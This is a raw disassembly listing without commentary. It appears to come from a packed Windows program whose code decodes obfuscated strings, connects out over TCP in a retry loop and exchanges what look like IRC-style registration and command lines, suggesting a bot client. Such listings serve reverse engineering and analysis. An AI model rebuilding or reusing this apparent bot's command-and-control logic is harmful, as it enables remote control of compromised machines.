

sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F60
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 2960743h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470EC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F4
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]


loc_40FB67:				; DATA XREF: Themida_:off_59D34Fo
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FD70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FD88:				; CODE XREF: ___:0040FD7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E74
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C8E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44741D
		mov	ecx, offset word_448D06
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D06
		add	eax, 1B6h
		push	eax
		push	offset dword_4473D4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D06
		push	edx
		push	offset dword_4472B0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447342
		mov	ecx, offset word_448D06
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D06
		add	eax, 0DBh
		push	eax
		push	offset byte_4472F9
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D06
		add	edx, 92h
		push	edx
		push	offset byte_44738B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474AF
		mov	ecx, offset word_448D06
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 29B0000h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44735C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4472F9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		nop
		call	near ptr 29B0000h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EA1BD
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		call	near ptr 71AB2BF4h
		nop
		push	offset byte_446F60
		mov	ecx, offset byte_44738B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44738B
		call	sub_4017E4
		mov	edx, dword_44710C
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	eax, dword_447114
		push	eax
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		mov	ecx, dword_447110
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 2960743h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473D4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470EC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447108
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_4470F0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447108
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447108
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44741D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	ecx, dword_4470F4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44712C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
